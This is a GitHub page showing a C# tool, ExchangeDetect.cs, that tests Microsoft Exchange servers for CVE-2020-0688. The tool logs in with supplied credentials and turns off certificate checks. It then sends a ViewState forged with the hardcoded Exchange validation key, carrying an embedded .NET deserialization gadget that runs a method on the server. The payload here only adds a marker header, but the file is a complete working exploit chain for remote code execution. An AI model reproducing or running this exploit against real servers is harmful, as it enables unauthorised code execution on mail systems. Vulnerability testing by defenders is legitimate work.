-
Notifications
You must be signed in to change notification settings - Fork 79
/
ExchangeDetect.cs
228 lines (225 loc) · 13 KB
/
ExchangeDetect.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
using System;
using System.Data;
using System.Text;
using System.Text.RegularExpressions;
using System.Collections;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Threading;
using System.Diagnostics;
using System.IO;
using System.Security.Cryptography;
using System.Net;
using System.Reflection;
using System.Runtime;
using System.Runtime.InteropServices;
using System.Web;
using System.Globalization;
using System.Security.Cryptography.X509Certificates;
using System.Net.Security;
namespace Zcg.Exploit.Remote
{
class ExchangeCmd
{
static bool cert(object o, X509Certificate x, X509Chain c, SslPolicyErrors s){return true;}
static byte[] _mackey = null;
static uint _clientstateid = 0;
static string _vsg=null;
static string target=null;
static string user=null;
static string pass=null;
static string cookie="";
static int Main(string[] args)
{
Console.WriteLine("Detector for CVE-2020-0688(Microsoft Exchange default MachineKeySection deserialize vulnerability).");
Console.WriteLine("Part of GMH's fuck Tools, Code By zcgonvh.\r\n");
if(args.Length<3)
{
Console.WriteLine("usage: ExchangeDetect <target> <user> <pass>");
Console.WriteLine();
return 0;
}
try{
target=args[0];
user=args[1];
pass=args[2];
ServicePointManager.ServerCertificateValidationCallback=new RemoteCertificateValidationCallback(cert);
ServicePointManager.Expect100Continue=false;
ServicePointManager.DefaultConnectionLimit=int.MaxValue;
ServicePointManager.MaxServicePoints=int.MaxValue;
HttpWebRequest hwr=WebRequest.Create("https://"+target+"/owa/auth.owa") as HttpWebRequest;
hwr.AllowAutoRedirect=false;
hwr.Method="POST";
hwr.UserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)";
hwr.ContentType="application/x-www-form-urlencoded";
byte[] post=Encoding.UTF8.GetBytes("destination=https%3A%2F%2F"+target+"%2Fecp%2F&flags=4&forcedownlevel=0&username="+HttpUtility.UrlEncode(user)+"&password="+HttpUtility.UrlEncode(pass)+"&passwordText=&isUtf8=1");
hwr.ContentLength=post.Length;
hwr.Proxy=null;
hwr.GetRequestStream().Write(post,0,post.Length);
HttpWebResponse res=hwr.GetResponse() as HttpWebResponse;
if(res.StatusCode!=(HttpStatusCode)302)
{
Console.WriteLine("[x]bad login response");
return 1;
}
if(res.Headers.GetValues("Set-Cookie")!=null)
{
foreach(string s in res.Headers.GetValues("Set-Cookie"))
{
cookie+=s.Split(' ')[0]+" ";
}
}
if(cookie.IndexOf("cadataKey")==-1)
{
Console.WriteLine("[x]login fail");
return 2;
}
cookie+="ASP.NET_SessionId=;";
UpdateMacKey("B97B4E27",null);
hwr=WebRequest.Create("https://"+target+"/ecp/default.aspx?__VIEWSTATE="+HttpUtility.UrlEncode(CreateViewState(detect))+"&__VIEWSTATEGENERATOR="+_vsg) as HttpWebRequest;
hwr.AllowAutoRedirect=false;
hwr.Method="GET";
hwr.UserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)";
hwr.Headers.Add("Cookie",cookie);
hwr.Proxy=null;
if(hwr.GetResponse().Headers["X-ZCG-TEST"]=="CVE-2020-0688")
{
Console.WriteLine("[!] "+target+" was vulnerable");
return 4;
}
}
catch(Exception ex)
{
Console.WriteLine("[x]error:");
Console.WriteLine(ex);
return 3;
}
return 0;
}
static bool UpdateMacKey(string vsg,string userkey)
{
_vsg=vsg;
if(!uint.TryParse(_vsg, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out _clientstateid))
{
return false;
}
//System.Web.UI.ObjectStateFormatter.GetMacKeyModifier
if (userkey != null)
{
int byteCount = Encoding.Unicode.GetByteCount(userkey);
_mackey = new byte[byteCount + 4];
Encoding.Unicode.GetBytes(userkey, 0, userkey.Length, _mackey, 4);
}
else
{
_mackey = new byte[4];
}
_mackey[0] = (byte)_clientstateid;
_mackey[1] = (byte)(_clientstateid >> 8);
_mackey[2] = (byte)(_clientstateid >> 16);
_mackey[3] = (byte)(_clientstateid >> 24);
return true;
}
static string CreateViewState(byte[] dat)
{
MemoryStream ms = new MemoryStream();
ms.WriteByte(0xff);
ms.WriteByte(0x01);
ms.WriteByte(0x32);
uint num = (uint)dat.Length;
while (num >= 0x80)
{
ms.WriteByte((byte)(num | 0x80));
num = num >> 0x7;
}
ms.WriteByte((byte)num);
ms.Write(dat, 0, dat.Length);
byte[] data = ms.ToArray();
byte[] validationKey = new byte[] { 0xCB, 0x27, 0x21, 0xAB, 0xDA, 0xF8, 0xE9, 0xDC, 0x51, 0x6D, 0x62, 0x1D, 0x8B, 0x8B, 0xF1, 0x3A, 0x2C, 0x9E, 0x86, 0x89, 0xA2, 0x53, 0x03, 0xBF };
ms = new MemoryStream();
ms.Write(data,0,data.Length);
ms.Write(_mackey,0,_mackey.Length);
byte[] hash=(new HMACSHA1(validationKey)).ComputeHash(ms.ToArray());
ms=new MemoryStream();
ms.Write(data,0,data.Length);
ms.Write(hash,0,hash.Length);
return Convert.ToBase64String(ms.ToArray());
}
public static byte[] detect={
0x00, 0x01, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x0C, 0x02, 0x00, 0x00, 0x00, 0x5E, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74,
0x2E, 0x50, 0x6F, 0x77, 0x65, 0x72, 0x53, 0x68, 0x65, 0x6C, 0x6C, 0x2E, 0x45, 0x64, 0x69, 0x74,
0x6F, 0x72, 0x2C, 0x20, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x3D, 0x33, 0x2E, 0x30, 0x2E,
0x30, 0x2E, 0x30, 0x2C, 0x20, 0x43, 0x75, 0x6C, 0x74, 0x75, 0x72, 0x65, 0x3D, 0x6E, 0x65, 0x75,
0x74, 0x72, 0x61, 0x6C, 0x2C, 0x20, 0x50, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x4B, 0x65, 0x79, 0x54,
0x6F, 0x6B, 0x65, 0x6E, 0x3D, 0x33, 0x31, 0x62, 0x66, 0x33, 0x38, 0x35, 0x36, 0x61, 0x64, 0x33,
0x36, 0x34, 0x65, 0x33, 0x35, 0x05, 0x01, 0x00, 0x00, 0x00, 0x42, 0x4D, 0x69, 0x63, 0x72, 0x6F,
0x73, 0x6F, 0x66, 0x74, 0x2E, 0x56, 0x69, 0x73, 0x75, 0x61, 0x6C, 0x53, 0x74, 0x75, 0x64, 0x69,
0x6F, 0x2E, 0x54, 0x65, 0x78, 0x74, 0x2E, 0x46, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x74, 0x69, 0x6E,
0x67, 0x2E, 0x54, 0x65, 0x78, 0x74, 0x46, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x74, 0x69, 0x6E, 0x67,
0x52, 0x75, 0x6E, 0x50, 0x72, 0x6F, 0x70, 0x65, 0x72, 0x74, 0x69, 0x65, 0x73, 0x01, 0x00, 0x00,
0x00, 0x0F, 0x46, 0x6F, 0x72, 0x65, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x42, 0x72, 0x75, 0x73,
0x68, 0x01, 0x02, 0x00, 0x00, 0x00, 0x06, 0x03, 0x00, 0x00, 0x00, 0xBA, 0x07, 0x3C, 0x52, 0x65,
0x73, 0x6F, 0x75, 0x72, 0x63, 0x65, 0x44, 0x69, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x61, 0x72, 0x79,
0x20, 0x78, 0x6D, 0x6C, 0x6E, 0x73, 0x3D, 0x22, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x73,
0x63, 0x68, 0x65, 0x6D, 0x61, 0x73, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74,
0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x77, 0x69, 0x6E, 0x66, 0x78, 0x2F, 0x32, 0x30, 0x30, 0x36, 0x2F,
0x78, 0x61, 0x6D, 0x6C, 0x2F, 0x70, 0x72, 0x65, 0x73, 0x65, 0x6E, 0x74, 0x61, 0x74, 0x69, 0x6F,
0x6E, 0x22, 0x20, 0x78, 0x6D, 0x6C, 0x6E, 0x73, 0x3A, 0x78, 0x3D, 0x22, 0x68, 0x74, 0x74, 0x70,
0x3A, 0x2F, 0x2F, 0x73, 0x63, 0x68, 0x65, 0x6D, 0x61, 0x73, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F,
0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x77, 0x69, 0x6E, 0x66, 0x78, 0x2F, 0x32,
0x30, 0x30, 0x36, 0x2F, 0x78, 0x61, 0x6D, 0x6C, 0x22, 0x20, 0x78, 0x6D, 0x6C, 0x6E, 0x73, 0x3A,
0x73, 0x3D, 0x22, 0x63, 0x6C, 0x72, 0x2D, 0x6E, 0x61, 0x6D, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65,
0x3A, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x3B, 0x61, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79,
0x3D, 0x6D, 0x73, 0x63, 0x6F, 0x72, 0x6C, 0x69, 0x62, 0x22, 0x20, 0x78, 0x6D, 0x6C, 0x6E, 0x73,
0x3A, 0x77, 0x3D, 0x22, 0x63, 0x6C, 0x72, 0x2D, 0x6E, 0x61, 0x6D, 0x65, 0x73, 0x70, 0x61, 0x63,
0x65, 0x3A, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x57, 0x65, 0x62, 0x3B, 0x61, 0x73, 0x73,
0x65, 0x6D, 0x62, 0x6C, 0x79, 0x3D, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x57, 0x65, 0x62,
0x22, 0x3E, 0x3C, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x44, 0x61, 0x74, 0x61, 0x50, 0x72, 0x6F,
0x76, 0x69, 0x64, 0x65, 0x72, 0x20, 0x78, 0x3A, 0x4B, 0x65, 0x79, 0x3D, 0x22, 0x61, 0x22, 0x20,
0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x49, 0x6E, 0x73, 0x74, 0x61, 0x6E, 0x63, 0x65, 0x3D, 0x22,
0x7B, 0x78, 0x3A, 0x53, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x77, 0x3A, 0x48, 0x74, 0x74, 0x70,
0x43, 0x6F, 0x6E, 0x74, 0x65, 0x78, 0x74, 0x2E, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x7D,
0x22, 0x20, 0x4D, 0x65, 0x74, 0x68, 0x6F, 0x64, 0x4E, 0x61, 0x6D, 0x65, 0x3D, 0x22, 0x22, 0x3E,
0x3C, 0x2F, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x44, 0x61, 0x74, 0x61, 0x50, 0x72, 0x6F, 0x76,
0x69, 0x64, 0x65, 0x72, 0x3E, 0x3C, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x44, 0x61, 0x74, 0x61,
0x50, 0x72, 0x6F, 0x76, 0x69, 0x64, 0x65, 0x72, 0x20, 0x78, 0x3A, 0x4B, 0x65, 0x79, 0x3D, 0x22,
0x62, 0x22, 0x20, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x49, 0x6E, 0x73, 0x74, 0x61, 0x6E, 0x63,
0x65, 0x3D, 0x22, 0x7B, 0x53, 0x74, 0x61, 0x74, 0x69, 0x63, 0x52, 0x65, 0x73, 0x6F, 0x75, 0x72,
0x63, 0x65, 0x20, 0x61, 0x7D, 0x22, 0x20, 0x4D, 0x65, 0x74, 0x68, 0x6F, 0x64, 0x4E, 0x61, 0x6D,
0x65, 0x3D, 0x22, 0x67, 0x65, 0x74, 0x5F, 0x52, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x22,
0x3E, 0x3C, 0x2F, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x44, 0x61, 0x74, 0x61, 0x50, 0x72, 0x6F,
0x76, 0x69, 0x64, 0x65, 0x72, 0x3E, 0x3C, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x44, 0x61, 0x74,
0x61, 0x50, 0x72, 0x6F, 0x76, 0x69, 0x64, 0x65, 0x72, 0x20, 0x78, 0x3A, 0x4B, 0x65, 0x79, 0x3D,
0x22, 0x63, 0x22, 0x20, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x49, 0x6E, 0x73, 0x74, 0x61, 0x6E,
0x63, 0x65, 0x3D, 0x22, 0x7B, 0x53, 0x74, 0x61, 0x74, 0x69, 0x63, 0x52, 0x65, 0x73, 0x6F, 0x75,
0x72, 0x63, 0x65, 0x20, 0x62, 0x7D, 0x22, 0x20, 0x4D, 0x65, 0x74, 0x68, 0x6F, 0x64, 0x4E, 0x61,
0x6D, 0x65, 0x3D, 0x22, 0x67, 0x65, 0x74, 0x5F, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x22,
0x3E, 0x3C, 0x2F, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x44, 0x61, 0x74, 0x61, 0x50, 0x72, 0x6F,
0x76, 0x69, 0x64, 0x65, 0x72, 0x3E, 0x3C, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x44, 0x61, 0x74,
0x61, 0x50, 0x72, 0x6F, 0x76, 0x69, 0x64, 0x65, 0x72, 0x20, 0x78, 0x3A, 0x4B, 0x65, 0x79, 0x3D,
0x22, 0x64, 0x22, 0x20, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x49, 0x6E, 0x73, 0x74, 0x61, 0x6E,
0x63, 0x65, 0x3D, 0x22, 0x7B, 0x53, 0x74, 0x61, 0x74, 0x69, 0x63, 0x52, 0x65, 0x73, 0x6F, 0x75,
0x72, 0x63, 0x65, 0x20, 0x63, 0x7D, 0x22, 0x20, 0x4D, 0x65, 0x74, 0x68, 0x6F, 0x64, 0x4E, 0x61,
0x6D, 0x65, 0x3D, 0x22, 0x41, 0x64, 0x64, 0x22, 0x3E, 0x3C, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74,
0x44, 0x61, 0x74, 0x61, 0x50, 0x72, 0x6F, 0x76, 0x69, 0x64, 0x65, 0x72, 0x2E, 0x4D, 0x65, 0x74,
0x68, 0x6F, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6D, 0x65, 0x74, 0x65, 0x72, 0x73, 0x3E, 0x3C, 0x73,
0x3A, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x3E, 0x58, 0x2D, 0x5A, 0x43, 0x47, 0x2D, 0x54, 0x45,
0x53, 0x54, 0x3C, 0x2F, 0x73, 0x3A, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x3E, 0x3C, 0x73, 0x3A,
0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x3E, 0x43, 0x56, 0x45, 0x2D, 0x32, 0x30, 0x32, 0x30, 0x2D,
0x30, 0x36, 0x38, 0x38, 0x3C, 0x2F, 0x73, 0x3A, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x3E, 0x3C,
0x2F, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x44, 0x61, 0x74, 0x61, 0x50, 0x72, 0x6F, 0x76, 0x69,
0x64, 0x65, 0x72, 0x2E, 0x4D, 0x65, 0x74, 0x68, 0x6F, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6D, 0x65,
0x74, 0x65, 0x72, 0x73, 0x3E, 0x3C, 0x2F, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x44, 0x61, 0x74,
0x61, 0x50, 0x72, 0x6F, 0x76, 0x69, 0x64, 0x65, 0x72, 0x3E, 0x3C, 0x4F, 0x62, 0x6A, 0x65, 0x63,
0x74, 0x44, 0x61, 0x74, 0x61, 0x50, 0x72, 0x6F, 0x76, 0x69, 0x64, 0x65, 0x72, 0x20, 0x78, 0x3A,
0x4B, 0x65, 0x79, 0x3D, 0x22, 0x65, 0x22, 0x20, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x49, 0x6E,
0x73, 0x74, 0x61, 0x6E, 0x63, 0x65, 0x3D, 0x22, 0x7B, 0x53, 0x74, 0x61, 0x74, 0x69, 0x63, 0x52,
0x65, 0x73, 0x6F, 0x75, 0x72, 0x63, 0x65, 0x20, 0x62, 0x7D, 0x22, 0x20, 0x4D, 0x65, 0x74, 0x68,
0x6F, 0x64, 0x4E, 0x61, 0x6D, 0x65, 0x3D, 0x22, 0x45, 0x6E, 0x64, 0x22, 0x3E, 0x3C, 0x2F, 0x4F,
0x62, 0x6A, 0x65, 0x63, 0x74, 0x44, 0x61, 0x74, 0x61, 0x50, 0x72, 0x6F, 0x76, 0x69, 0x64, 0x65,
0x72, 0x3E, 0x3C, 0x2F, 0x52, 0x65, 0x73, 0x6F, 0x75, 0x72, 0x63, 0x65, 0x44, 0x69, 0x63, 0x74,
0x69, 0x6F, 0x6E, 0x61, 0x72, 0x79, 0x3E, 0x0B
};
}
}